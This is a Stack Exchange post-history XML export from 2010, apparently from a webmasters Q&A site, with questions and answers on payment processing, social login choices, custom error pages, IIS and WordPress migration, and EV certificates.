  <row Id="4195" PostHistoryTypeId="2" PostId="2191" RevisionGUID="51607639-5db1-46ad-a744-991a86267340" CreationDate="2010-08-12T18:15:20.830" UserDisplayName="Toga Systems" Text="I have a large site running Magento. While it is great for a total e-commerce solution, it might be to large for what you want to do. Customization can cause headaches as well if you are not familiar with the Zend Framework. Have you thought about writing something custom?" />
  <row Id="4196" PostHistoryTypeId="16" PostId="2191" RevisionGUID="51607639-5db1-46ad-a744-991a86267340" CreationDate="2010-08-12T18:15:20.830" UserId="-1" />
  <row Id="4197" PostHistoryTypeId="2" PostId="2192" RevisionGUID="36532fd5-b721-4f4e-873b-4f71ec85972e" CreationDate="2010-08-12T18:15:34.650" UserId="1509" Text="I've been looking for a service like this but can't find one -- it boggles my mind that such a thing doesn't exist.&#xD;&#xA;&#xD;&#xA;The ideal thing I'm looking for would be something like this:&#xD;&#xA;&#xD;&#xA;* User fills out a form on my website&#xD;&#xA;* I submit data to the service (cc #, payment amount)&#xD;&#xA;* I get paid perhaps monthly by the service the amounts that were charged (less a fee)&#xD;&#xA;&#xD;&#xA;This is more or less how accepting paypal for payments works, except it takes my users to paypal's site and forces them to create a paypal account etc, which I'd like to avoid.&#xD;&#xA;&#xD;&#xA;Does such a service exist?" />
  <row Id="4198" PostHistoryTypeId="1" PostId="2192" RevisionGUID="36532fd5-b721-4f4e-873b-4f71ec85972e" CreationDate="2010-08-12T18:15:34.650" UserId="1509" Text="Is there a way to take credit cards on my website without needing a merchant account/payment gateway?" />
  <row Id="4199" PostHistoryTypeId="3" PostId="2192" RevisionGUID="36532fd5-b721-4f4e-873b-4f71ec85972e" CreationDate="2010-08-12T18:15:34.650" UserId="1509" Text="&lt;ecommerce&gt;" />
  <row Id="4200" PostHistoryTypeId="2" PostId="2193" RevisionGUID="7f1d251a-9df2-4cdd-bcaf-c6edad183372" CreationDate="2010-08-12T18:26:55.580" UserId="745" Text="Processing credit card numbers on your website itself isn't a trivial task and it shouldn't be able to be done by just copying and pasting some code. Many payment gateways offer the option to do something like what you describe, but it requires custom programming and an array of security measures. Your website will need to be [PCI compliant][1] at a minimum. It's not an easy task to get right, nor should it be, because not everyone should be attempting it without professional support. There's simply to much at stake.&#xD;&#xA;&#xD;&#xA;Incidentally, users don't need to create a PayPal account in order to be able to use PayPal. PayPal accepts credit card payments without the requirement of having an account. It's only when you want to accept payments or pay with PayPal that you need a PayPal account.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.pcisecuritystandards.org/index.shtml" />
  <row Id="4201" PostHistoryTypeId="2" PostId="2194" RevisionGUID="91d30a49-58b7-49fe-b6ce-b293f3692d51" CreationDate="2010-08-12T18:40:42.587" UserId="19" Text="Take a look at http://www.braintreepaymentsolutions.com/" />
  <row Id="4202" PostHistoryTypeId="2" PostId="2195" RevisionGUID="acd5a903-830d-48fa-8a5e-d33a30a31ea5" CreationDate="2010-08-12T19:00:06.323" UserId="1253" Text="The reason you can't find what you're looking for is because you already found it but you just don't know it. What you're looking for is a merchant account with a payment gateway. With one:&#xD;&#xA;&#xD;&#xA;* Your users fills out a form on your website&#xD;&#xA;* You submit data to the service (cc #, payment amount)&#xD;&#xA;* You receive funds for the amounts that were charged less a fee&#xD;&#xA;&#xD;&#xA;Sound familiar?&#xD;&#xA;&#xD;&#xA;Before anyone tries to get technical, services like Paypal and others share their merchant account with you and the payment gateway is built in. All Paypal, and others who operate like them, are doing is wrapping the whole thing up in neat little packages with the stated goal of simplifying the process.&#xD;&#xA;&#xD;&#xA;Now if your goal is to get something different then what Paypal is offering then you need to clarify your question and explain in more detail what it is exactly that you are looking for. There are lots of options out the, some better suited to certain situations then others.&#xD;&#xA;" />
  <row Id="4203" PostHistoryTypeId="5" PostId="2146" RevisionGUID="265d7a73-a951-4d91-80ca-914605d152ba" CreationDate="2010-08-12T20:17:28.010" UserId="1443" Comment="remove getclicky.com as an option" Text="I think that for being free, getting data updated once a day is just fine. I don't even know why with such large numbers you need more then that. Did you really loose anything?&#xD;&#xA;&#xD;&#xA;if you really want alternatives, I suggest you try http://piwik.org/. I have no idea if it can take the load, but since it is up to you to install and configure.. I guess all is possible (only questions is, how much work?)&#xD;&#xA;&#xD;&#xA;Other hosted option is http://chartbeat.com/ which since you actually pay for the service, I don't think they will have a problem accepting your money...&#xD;&#xA;&#xD;&#xA;Update: based on comments, http://www.getclicky.com/ is not an option." />
  <row Id="4205" PostHistoryTypeId="5" PostId="2105" RevisionGUID="a449f994-c7e5-4293-93ac-5cfd625c7392" CreationDate="2010-08-12T21:22:50.260" UserId="1423" Comment="edited the whole question" Text="How should a [good URI be designed][1]? What are the factors to consider? What are the pros and cons of the variants?&#xD;&#xA;&#xD;&#xA;Some examples:&#xD;&#xA;&#xD;&#xA; - example.com/articles/3252&#xD;&#xA; - example.com/articles/how+to+design+good+uri&#xD;&#xA; - example.com/articles/3252/how+to+design+good+uri&#xD;&#xA; - example.com/good-uri-design&#xD;&#xA; - example.com/articles/good-uri-design&#xD;&#xA; - example.com/a/good-uri-design&#xD;&#xA;  &#xD;&#xA;[1]: http://www.w3.org/Provider/Style/URI.html" />
  <row Id="4206" PostHistoryTypeId="2" PostId="2196" RevisionGUID="1ddc0b1a-5020-4496-9188-1a7924dbbaca" CreationDate="2010-08-12T21:44:41.000" UserId="113" Text="What are the pros and cons of each? Does it make any sense supporting both? Which is easier for users/to implement?" />
  <row Id="4207" PostHistoryTypeId="1" PostId="2196" RevisionGUID="1ddc0b1a-5020-4496-9188-1a7924dbbaca" CreationDate="2010-08-12T21:44:41.000" UserId="113" Text="Should I support facebook login or openid login?" />
  <row Id="4208" PostHistoryTypeId="3" PostId="2196" RevisionGUID="1ddc0b1a-5020-4496-9188-1a7924dbbaca" CreationDate="2010-08-12T21:44:41.000" UserId="113" Text="&lt;facebook&gt;&lt;openid&gt;&lt;login&gt;" />
  <row Id="4209" PostHistoryTypeId="2" PostId="2197" RevisionGUID="53ebb215-1379-4f08-8127-129ad68d2328" CreationDate="2010-08-12T21:54:07.847" UserId="353" Text="It depends on your target audience - there's no right answer. Especially if you are trying to use your website as a business, you need to focus on your audience. Ease of implementation should be a secondary concern, especially since both Facebook Connect and OpenID have been implemented by a number of sites, you should be able to easily get tutorials.&#xD;&#xA;&#xD;&#xA;It sounds to me like you don't want to manage your own users and registration, which is getting easier with more companies supporting things like Facebook Connect, OpenID, and other shared login.&#xD;&#xA;&#xD;&#xA;But in order to determine which one you use depends on your target audience. Stack Overflow went with OpenID and it worked out for them because the audience was of a technical nature. Most people either had an OpenID, were somewhat familiar with OpenID, or were comfortable enough reading about it, understanding what it did, and signing up for another service. Now that services like Google are supporting OpenID, it's becoming much more widespread.&#xD;&#xA;&#xD;&#xA;On the other hand, if your target audience falls into Facebook's typical audience (I'm not sure what the demographics of Facebook are, exactly - I'm sure you can find that information out, or at least get estimates that are reasonably accurate), you might want to support that instead of OpenID.&#xD;&#xA;&#xD;&#xA;If you have sufficient time and resources, though, there's no reason not to support multiple authentication standards. But if you had to pick one, go with the one your target audience uses." />
  <row Id="4210" PostHistoryTypeId="2" PostId="2198" RevisionGUID="146f7793-18ce-4a46-9f4c-d840f07e7a0b" CreationDate="2010-08-12T21:54:34.680" UserId="108" Text="I think OpenID and Facebook log in integration are about equal in their complexity for the site user.  Either can be useful, what really matters is what is your target audience.&#xD;&#xA;&#xD;&#xA;If your goal is to do something that works well with Facebook and is for the general masses then Facebook integration is the way to go.  Also, will the people using the site possibly be friends on Facebook?&#xD;&#xA;&#xD;&#xA;If your goal is to reach a somewhat technically savvy user base that won't be driven to your site mainly from Facebook then there is more value in OpenID&#xD;&#xA;&#xD;&#xA;Finally, if your site is for the general public including people who are not internet savvy then there is little value in OpenID because many people don't know what it is and won't use it.  Facebook log in integration has some value because most of the US population knows what it is and has an account in this case." />
  <row Id="4211" PostHistoryTypeId="5" PostId="2197" RevisionGUID="1d943b43-1dbf-4cac-8275-eda73d7e783c" CreationDate="2010-08-12T22:00:48.153" UserId="353" Comment="added 409 characters in body" Text="It depends on your target audience - there's no right answer. Especially if you are trying to use your website as a business, you need to focus on your audience. Ease of implementation should be a secondary concern, especially since both Facebook Connect and OpenID have been implemented by a number of sites, you should be able to easily get tutorials.&#xD;&#xA;&#xD;&#xA;It sounds to me like you don't want to manage your own users and registration, which is getting easier with more companies supporting things like Facebook Connect, OpenID, and other shared login.&#xD;&#xA;&#xD;&#xA;But in order to determine which one you use depends on your target audience. Stack Overflow went with OpenID and it worked out for them because the audience was of a technical nature. Most people either had an OpenID, were somewhat familiar with OpenID, or were comfortable enough reading about it, understanding what it did, and signing up for another service. Now that services like Google are supporting OpenID, it's becoming much more widespread.&#xD;&#xA;&#xD;&#xA;On the other hand, if your target audience falls into Facebook's typical audience (I'm not sure what the demographics of Facebook are, exactly - I'm sure you can find that information out, or at least get estimates that are reasonably accurate), you might want to support that instead of OpenID.&#xD;&#xA;&#xD;&#xA;If you have sufficient time and resources, though, there's no reason not to support multiple authentication standards. But if you had to pick one, go with the one your target audience uses.&#xD;&#xA;&#xD;&#xA;I think a concern should be not the implementation of these services, but how you display them to your user so that they understand that they can log in to your site using another service. This will depend a lot on your target audience. Your log in page(s) should be explicitly clear in language that the user is familiar with as to what they are doing, especially if the target audience is non-technical." />
  <row Id="4212" PostHistoryTypeId="2" PostId="2199" RevisionGUID="56cb206a-b021-431f-a786-53ceec25cca7" CreationDate="2010-08-12T22:35:49.170" UserId="1079" Text="I know most sites typically create a custom 404 page.  Are there any other custom error pages I should create?  Or just watch my logs and see which ones are hit more frequently?" />
  <row Id="4213" PostHistoryTypeId="1" PostId="2199" RevisionGUID="56cb206a-b021-431f-a786-53ceec25cca7" CreationDate="2010-08-12T22:35:49.170" UserId="1079" Text="What errors should I create custom pages for besides 404?" />
  <row Id="4214" PostHistoryTypeId="3" PostId="2199" RevisionGUID="56cb206a-b021-431f-a786-53ceec25cca7" CreationDate="2010-08-12T22:35:49.170" UserId="1079" Text="&lt;website-design&gt;" />
  <row Id="4217" PostHistoryTypeId="6" PostId="2094" RevisionGUID="aeed4437-514e-44f5-9267-33f3685911b4" CreationDate="2010-08-12T22:58:17.643" UserId="1111" Comment="Added issue-trackers Tag" Text="&lt;web-development&gt;&lt;issue-trackers&gt;" />
  <row Id="4218" PostHistoryTypeId="2" PostId="2201" RevisionGUID="6444e6a9-8563-4036-a363-40309f2bf693" CreationDate="2010-08-12T23:08:59.403" UserId="1111" Text="It's difficult to give you a direct answer if you don't provide an example use case.&#xD;&#xA;&#xD;&#xA;Here is a list with all [Status Codes][1] you can/should use for differrnt cases (redirected, removed, etc.). So you could search for your case, select the right code and if it is necessary create a costum error page. &#xD;&#xA;&#xD;&#xA;Here are the examples who maybe needs a costum error page quoted from my apache.conf:&#xD;&#xA;&#xD;&#xA;&gt; Customizable error responses come in three flavors:&#xD;&#xA;&gt; 1) plain text 2) local redirects 3) external redirects&#xD;&#xA;&gt; &#xD;&#xA;&gt; Some examples:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - ErrorDocument 500 &quot;The server made a    boo boo.&quot;&#xD;&#xA;&gt;  - ErrorDocument 404 /missing.html&#xD;&#xA;&gt;  - ErrorDocument 404    &quot;/cgi-bin/missing_handler.pl&quot;&#xD;&#xA;&gt;  - ErrorDocument 402    http://www.example.com/subscription_info.html&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" />
  <row Id="4219" PostHistoryTypeId="5" PostId="2199" RevisionGUID="d37c8cd1-bb1a-4771-89bd-e6813d629914" CreationDate="2010-08-12T23:12:31.083" UserId="1079" Comment="added 76 characters in body" Text="I know most sites typically create a custom 404 page.  Are there any other custom error pages I should create?  Or just watch my logs and see which ones are hit more frequently?&#xD;&#xA;&#xD;&#xA;**[Edit]**  &#xD;&#xA;This is for a PHP web app, not a blog or static html site." />
  <row Id="4220" PostHistoryTypeId="11" PostId="2105" RevisionGUID="778d869d-7021-4ce6-9d72-1a103ab3952d" CreationDate="2010-08-12T23:20:58.310" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="4222" PostHistoryTypeId="2" PostId="2202" RevisionGUID="64dc90d9-8225-4fc5-9fb4-4923f64f8708" CreationDate="2010-08-13T01:22:16.153" UserId="392" Text="On my sites, I create error pages for errors that I think people may commonly run across. Other than 404, here are the ones I target:&#xD;&#xA;&#xD;&#xA; - 500: Internal Server Error - if your app fails, showing a generic 500 error page will only confuse users&#xD;&#xA; - 403/401: Forbidden/Unauthorized - I display a custom error page when a user tries to access something that they're not allowed to access.&#xD;&#xA; - 400: Bad Request - pretty self-explicable&#xD;&#xA; - 409: Conflict - if a user is blocked from some functionality by the throttling/rate-limiting, I tell them to try again" />
  <row Id="4223" PostHistoryTypeId="2" PostId="2203" RevisionGUID="6d038f38-d92b-4349-a715-bcc6527742c9" CreationDate="2010-08-13T03:16:34.550" UserId="1523" Text="This exists out there, right?&#xD;&#xA;&#xD;&#xA;I have a hand-tweaked iis setup, with hand mods to the iis config (compression, etc)&#xD;&#xA;&#xD;&#xA;Now I need to clone it to several addl web servers.&#xD;&#xA;&#xD;&#xA;What is the best way?&#xD;&#xA;&#xD;&#xA;Thx!" />
  <row Id="4224" PostHistoryTypeId="1" PostId="2203" RevisionGUID="6d038f38-d92b-4349-a715-bcc6527742c9" CreationDate="2010-08-13T03:16:34.550" UserId="1523" Text="IIS v6: wanted: powershell script that dumps full iis config, in order to clone iis setup to farm" />
  <row Id="4225" PostHistoryTypeId="3" PostId="2203" RevisionGUID="6d038f38-d92b-4349-a715-bcc6527742c9" CreationDate="2010-08-13T03:16:34.550" UserId="1523" Text="&lt;web-development&gt;" />
  <row Id="4226" PostHistoryTypeId="2" PostId="2204" RevisionGUID="de01f1e3-cb51-4a0f-8ede-da9faeff69a0" CreationDate="2010-08-13T03:22:43.573" UserId="1523" Text="We just have a 404. The big trick we did is that our 404 script looks for moved pages, and throws the moved status correctly." />
  <row Id="4227" PostHistoryTypeId="2" PostId="2205" RevisionGUID="f2b5af05-7697-4a39-951d-9b96d2c2b331" CreationDate="2010-08-13T03:25:41.157" UserId="1522" Text="One option that I've used on a couple of sites is to use SyncBack, JungleDisk, and an Amazon S3 account. (I would post links to these products and services, but SE prohibits us new users from posting more than 1 link. Boo.)&#xD;&#xA;&#xD;&#xA;For those not familiar with these tools, SyncBack is an awesome and very feature-rich program for syncing files between different folders. JungleDisk let's you create a virtual drive that, behind the scenes, reads and writes data to Amazon S3's storage service, which is a cloud-based storage solution that's pretty affordable (presuming you're not pushing up gigabytes of data into the cloud every day).&#xD;&#xA;&#xD;&#xA;We have SyncBack run on a schedule, like once a night or once a week, and it copies the new/changed files from the local hard drive to the JungleDisk virtual drive, and removes any deleted files from the virtual drive. &#xD;&#xA;&#xD;&#xA;What do we store in the cloud? Well, we have SQL Server do a nightly backup and have it configured to keep those backups for two weeks. These backups are pushed up to the cloud every night. We also push up our source code repositories every night. A complete backup is done of static files, assets, utilities, and other such files on a weekly basis.&#xD;&#xA;&#xD;&#xA;What's nice about this approach is that all the files are in the cloud, meaning we can access them from anywhere. No need to RDP into the dedicated server if you've got JungleDisk on your desktop - you can see the files in the cloud as if they were on a drive on your local computer. Another benefit is cost. For one of my clients the web hosting company that hosts the site will sell an offsite storage backup service to its dedicated server clients, but the costs was several hundred dollars per month. This approach had some up front costs - the SyncBack and JungleDisk licenses - as well as storage and bandwidth costs from Amazon S3, but, if I recall correctly, these costs were less than what one month of the hosting company's backup plan would have cost. And this way we don't have to take the hosting company's word that our site is getting backed up - we can see our files in the cloud at any time from anywhere in the world.&#xD;&#xA;&#xD;&#xA;(I was introduced to this approach by my colleague [Michael Campbell][1].) &#xD;&#xA;&#xD;&#xA;  [1]: http://www.overachiever.net/ &quot;Michael Campbell&quot;" />
  <row Id="4228" PostHistoryTypeId="16" PostId="2205" RevisionGUID="f2b5af05-7697-4a39-951d-9b96d2c2b331" CreationDate="2010-08-13T03:25:41.157" UserId="-1" />
  <row Id="4229" PostHistoryTypeId="2" PostId="2206" RevisionGUID="3db11305-cb31-4708-acf1-578222d87603" CreationDate="2010-08-13T03:32:27.477" UserId="1522" Text="Have you looked at [PayPal Website Payments Pro][1]? It allows you to programmatically interface with PayPal's gateway, meaning your customers can stay on your site and you don't need to add any PayPal branding. Using it requires some programming know-how, as you have to send an XML request to PayPal's gateway and parse the response, but that's going to be true with any credit card processing approach where the user stays on your site.&#xD;&#xA;&#xD;&#xA;  [1]: https://merchant.paypal.com/us/cgi-bin/?&amp;cmd=_render-content&amp;content_ID=merchant/compare_wp_products" />
  <row Id="4230" PostHistoryTypeId="2" PostId="2207" RevisionGUID="2baa71df-0a50-4a0a-b285-38b1187c5a7c" CreationDate="2010-08-13T03:42:40.210" UserId="1522" Text="I find that for questions like these a good option is to see how the big boys do it. Go visit sites like Google, Amazon, Yahoo, MSN, and so forth. &#xD;&#xA;&#xD;&#xA;What I've found is that every one of these types of sites goes with the **www**. I'd recommend doing the same." />
  <row Id="4231" PostHistoryTypeId="2" PostId="2208" RevisionGUID="de228449-793a-473c-8f3d-6adbf7643321" CreationDate="2010-08-13T03:43:09.977" UserId="126" Text="I have some clients wordpress blogs on my shared hosting and now i want to migrate all to a new dedicated server. the shared server is on linux and the new dedicated is windows 2008.&#xD;&#xA;&#xD;&#xA;I know how to setup a new wordpress blog on the server using the Microsoft Web Platform Installer, but i have no idea how to setup an already running blog, where to put the db , how to change the connection string if needed, i don't know php.&#xD;&#xA;&#xD;&#xA;Tell me if you faced this issue before or know a good article describe steps for this migration." />
  <row Id="4232" PostHistoryTypeId="1" PostId="2208" RevisionGUID="de228449-793a-473c-8f3d-6adbf7643321" CreationDate="2010-08-13T03:43:09.977" UserId="126" Text="How to Migrate wordpress blogs from shared hosting to dedicated server?" />
  <row Id="4233" PostHistoryTypeId="3" PostId="2208" RevisionGUID="de228449-793a-473c-8f3d-6adbf7643321" CreationDate="2010-08-13T03:43:09.977" UserId="126" Text="&lt;wordpress&gt;&lt;web-development&gt;" />
  <row Id="4234" PostHistoryTypeId="5" PostId="2208" RevisionGUID="bf9a86b4-11a8-4df7-92d9-9790ee2e67ee" CreationDate="2010-08-13T03:55:24.840" UserId="126" Comment="added 31 characters in body" Text="I have some clients wordpress blogs on my shared hosting and now i want to migrate all to a new dedicated server. the shared server is on linux and the new dedicated is windows 2008.&#xD;&#xA;&#xD;&#xA;I know how to setup a new wordpress blog on the server using the Microsoft Web Platform Installer, but i have no idea how to setup an already running blog, where to put the db , how to change the connection string if needed, i don't know php.&#xD;&#xA;&#xD;&#xA;Tell me if you faced this issue before or know a good article describe steps for this migration.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Note the server has IIS 7" />
  <row Id="4235" PostHistoryTypeId="2" PostId="2209" RevisionGUID="9f2ab746-70bb-4fca-9533-9f4de9b784f0" CreationDate="2010-08-13T03:56:53.060" UserId="1408" Text="Essentially, you need 3 things from your previous installation:&#xD;&#xA;&#xD;&#xA; 1. The database, you can export from your current installation and import in the new one (make sure both are running the same version of wordpress)&#xD;&#xA; 2. Any files you might have modified or uploaded: those would be themes and uploaded images (and maybe a favicon)&#xD;&#xA; 3. The configuration file at the root of the installation (included in the previous point, but this one is extra important). You will need to update 1 or 2 settings in there to point to the new database instance.&#xD;&#xA;&#xD;&#xA;Another easy way to port is to simply make a backup of all the files for your current installation and just upload that at the root of the new installation (do not set-up a wordpress installation there, just upload the backed-up files). You will still need to change the configuration file and export/import the database.&#xD;&#xA;&#xD;&#xA;If you are not familiar with those terms, I suggest you hire someone who is." />
  <row Id="4236" PostHistoryTypeId="2" PostId="2210" RevisionGUID="4ebe8ac2-881d-4fbf-9302-29223f6d00ef" CreationDate="2010-08-13T04:34:38.240" UserId="231" Text="First make sure that PHP and MySQL are installed on the new server. If they are, here is the official tutorial: http://codex.wordpress.org/Moving_WordPress#Moving_WordPress_to_a_New_Server" />
  <row Id="4237" PostHistoryTypeId="2" PostId="2211" RevisionGUID="4b84f3ab-acad-46ec-bd8a-3cac3e8b8525" CreationDate="2010-08-13T04:50:45.617" UserId="1074" Text="In addition to Subversion, nightly MySQL dumps, and a redundant (mirrored) server image, we're spoiled by having a host (AISO.NET) who also does hourly snapshots as part of all their hosting packages.  Not only do I get to feel good about hosting with a company that's never used any grid-based power (they power the entire facility with on-site solar and wind), but I also get piece of mind that comes with reliable, easy to recover snapshots AND a virtualized solution that reboots literally in the blink of an eye if it's ever necessary.&#xD;&#xA;&#xD;&#xA;The snapshot has saved my bacon more than once....and it's a heck of a lot quicker than going through the motions of untar, rebuild, and pray that comes along with other backups.  " />
  <row Id="4238" PostHistoryTypeId="16" PostId="2211" RevisionGUID="4b84f3ab-acad-46ec-bd8a-3cac3e8b8525" CreationDate="2010-08-13T04:50:45.617" UserId="-1" />
  <row Id="4239" PostHistoryTypeId="2" PostId="2212" RevisionGUID="d37c7b4c-6479-473c-8d7b-f2d3618fad37" CreationDate="2010-08-13T05:22:28.577" UserId="1527" Text=" 1. Paypal Business version. You can&#xD;&#xA;    accept credit card payments on your&#xD;&#xA;    web site without your customers&#xD;&#xA;    having to create paypal accounts. No programming required!&#xD;&#xA; 2. Payment processors such as CCBill,&#xD;&#xA;    Epoch, Verotel.  They accept credit&#xD;&#xA;    cards and send you a check every&#xD;&#xA;    week." />
  <row Id="4240" PostHistoryTypeId="2" PostId="2213" RevisionGUID="a5f10b09-ada2-4adb-afa1-9f52eb163bef" CreationDate="2010-08-13T05:26:42.563" UserId="480" Text="The best way is usually to use VBScript iiscnfg.vbs, this allows you to [export][1] and [import][2] the complete server configuration (although you'll need to recreate the folder layout - which you would normally do by copying/clustering over all the content - just do it before importing to prevent hangs if IIS is running). As for a PowerShell version I'm affraid I do not know of one for IIS 6.0 (although you can call iiscnfg.vbs from PowerShell), IIS 7.0 on the other hand has a [snap-in for PowerShell][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/73f66ff1-be38-4850-8965-739004acd641.mspx?mfr=true&#xD;&#xA;  [2]: http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/2d65822e-0a7a-473e-8b09-5f49bfbb9df1.mspx?mfr=true&#xD;&#xA;  [3]: http://learn.iis.net/page.aspx/428/getting-started-with-the-iis-70-powershell-snap-in/" />
  <row Id="4241" PostHistoryTypeId="5" PostId="2212" RevisionGUID="8f95a187-20bb-4ca4-85ab-860c05cfabf2" CreationDate="2010-08-13T05:33:18.450" UserId="1527" Comment="added 100 characters in body" Text=" 1. Paypal Business version. You can&#xD;&#xA;    accept credit card payments on your&#xD;&#xA;    web site without your customers&#xD;&#xA;    having to create paypal accounts. No programming required! &#xD;&#xA; 2. Internet Payment Service Providers such as CCBill, &#xD;&#xA;    Epoch, and Verotel.  They accept credit&#xD;&#xA;    cards and send you a check every&#xD;&#xA;    week. No bank or merchant account needed, and usually no programming required. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="4242" PostHistoryTypeId="2" PostId="2214" RevisionGUID="fee97387-40d3-4dd4-96ed-356a355299ef" CreationDate="2010-08-13T05:36:26.840" UserId="138" Text="Our regular SSL provider is offering EV certificates for under $US200, and it just so happens that the certificate for our B2B e-commerce site is expiring in a month (which should give us enough time to get validated).&#xD;&#xA;&#xD;&#xA;$200 is still pretty reasonable (even if it's 5x the price of a &quot;normal&quot; certificate). Should we do it &quot;Just because&quot;? Are there any downsides to using an EV?&#xD;&#xA;&#xD;&#xA;The marketing guys like it because it turns the browser-bar green in IE and it just happens to fit the colour scheme of our site perfectly ;)&#xD;&#xA;&#xD;&#xA;We're not a bank, but we do deal in private, legal details (such as wills, transfers of business, terminations, etc)." />
  <row Id="4243" PostHistoryTypeId="1" PostId="2214" RevisionGUID="fee97387-40d3-4dd4-96ed-356a355299ef" CreationDate="2010-08-13T05:36:26.840" UserId="138" Text="Should we get an EV Certificate?" />
  <row Id="4244" PostHistoryTypeId="3" PostId="2214" RevisionGUID="fee97387-40d3-4dd4-96ed-356a355299ef" CreationDate="2010-08-13T05:36:26.840" UserId="138" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;" />
  <row Id="4245" PostHistoryTypeId="2" PostId="2215" RevisionGUID="db13fe9b-88a2-48e5-8b25-116771e5ca89" CreationDate="2010-08-13T06:16:38.523" UserId="1527" Text="It starts to make financial sense to leave PayPal when your total sales are over $100 million per year. &#xD;&#xA;&#xD;&#xA;PayPal now (August 8, 2010) charges the same rates across all accounts. $0.30 per transaction plus 1.9 - 2.9%.  The lowest competitive fees I could find at this time is $0.23 per transaction plus 1.5%.&#xD;&#xA;&#xD;&#xA;If you are averaging ten $50 transactions per day, for a total annual sales of $182,500, your PayPal fees will total from $4562.50 to $6387.50, depending on what percentage PayPal charges you.&#xD;&#xA;&#xD;&#xA;The total savings you may get from switching to a merchant account and payment processor at the lowest current pricing would be $985.50, assuming that you could qualify for the lowest competitive rates. If you could qualify then PayPal would be charging you their lowest rate of 1.9%.&#xD;&#xA;&#xD;&#xA;In the above example you would pay 2.5% of your sales to PayPal, or 1.96% of sales to the cheapest merchant account and payment processor. The savings is 0.54%&#xD;&#xA;&#xD;&#xA;At what point does it pay to save half a penny per dollar? At 100 $50 transactions per day, or $1.8 million per year you're only saving $9855.00 a year.  That's not really worth the bother.  At $18 million per year (1000 $50 sales per day) you're saving $98,550.00 a year. At that point you can hire someone to manage your credit card processing accounts and the necessary programming you may need. At $20 to $50 million you're not saving any money, but as you go beyond that it can be profitable.&#xD;&#xA;&#xD;&#xA;There are many other factors to consider. PayPal has amazing fraud prevention services that are transparent to you and your customers. If you use other services you may lose more in fraud or bad transactions than you save, plus all the work required to manage the other accounts. When you're over $20 million you can consider using multiple merchant accounts and payment processors, which gives you more control over your payment clearing. There are also bad banks (merchant accounts) and bad payment processors, so there are risks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4246" PostHistoryTypeId="2" PostId="2216" RevisionGUID="a18be956-3f35-4f47-ba9d-216b22f01d92" CreationDate="2010-08-13T08:50:15.893" UserId="914" Text="Why are you saying you don't want a merchant account? What you are effectively describing in your requirements is *exactly* what a merchant account achieves.&#xD;&#xA;&#xD;&#xA;However, I would really caution you if you think capturing credit card details on your site is an easy thing to do. It isn't. There are basically two ways of doing this - via CPI (where you hand off to the Merchant's server for payment capture and they then re-direct customers back after completion) and MPI (where you handle all the capture of details on your server and just use the merchant for authorisation). MPI, which sounds like what you want, can be fraught with legal risks and liabilities should anything go wrong on your side of things. I'd read up on the laws concerning this where you will be operating." />
  <row Id="4247" PostHistoryTypeId="2" PostId="2217" RevisionGUID="a34c083f-3d18-441e-b9d1-f8116e0c98f4" CreationDate="2010-08-13T09:53:31.660" UserId="1204" Text="The only downside with an EV certificate is the &quot;paperwork&quot; associated with proving you are who you say you are before the certificate will be issued. It doesn't make any difference to the server- or client-side processing aside from the certificate containing extra information, including the flags that browsers use to determine the certificate type.&#xD;&#xA;&#xD;&#xA;So if the cost is small enough to be no matter, you don't mind the initial admin (and repeated admin work at renewal time) and the marketing guys want it, I see no reason why not. Just make sure the marketing people fully understand that if they change their scheme to mainly purple it is not in your power to make the green bar turn purple too!&#xD;&#xA;&#xD;&#xA;Make sure the price is likely to stay though. If the usual price is much higher then you are going to be paying the higher price (or something more like it) when renewing the certificate in future." />
  <row Id="4248" PostHistoryTypeId="2" PostId="2218" RevisionGUID="308af898-1d74-4c1d-a51d-e6725766e04e" CreationDate="2010-08-13T10:01:49.500" UserId="1064" Text="It's nice to keep redirects, authentication requirements, and other miscellaneous housekeeping in a single script for a variety of reasons.&#xD;&#xA;&#xD;&#xA;I use a modified version of [this][1] PHP handler script for 404's and 301's - you will probably want to set up static 500-series pages (so your web server can return something useful in the event that the PHP parser is failing for whatever reason).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webproworld.com/webmaster-forum/threads/87180-How-do-you-redirect-a-URL-with-quot-0A-quot-splitting-up-the-.html-extension-%28.htm-0Al%29?p=457465&amp;viewfull=1#post457465" />
  <row Id="4249" PostHistoryTypeId="5" PostId="2213" RevisionGUID="c610023e-0293-43ae-a757-fbfa69ed3ac3" CreationDate="2010-08-13T10:33:10.863" UserId="480" Comment="added 6 characters in body" Text="The best way (we've found) is to use VBScript iiscnfg.vbs, this allows you to [export][1] and [import][2] the complete server configuration (although you'll need to recreate the folder layout - which you would normally do by copying/clustering over all the content - just do it before importing to prevent hangs if IIS is running). As for a PowerShell version I'm affraid I do not know of one for IIS 6.0 (although you can call iiscnfg.vbs from PowerShell), IIS 7.0 on the other hand has a [snap-in for PowerShell][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/73f66ff1-be38-4850-8965-739004acd641.mspx?mfr=true&#xD;&#xA;  [2]: http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/2d65822e-0a7a-473e-8b09-5f49bfbb9df1.mspx?mfr=true&#xD;&#xA;  [3]: http://learn.iis.net/page.aspx/428/getting-started-with-the-iis-70-powershell-snap-in/" />
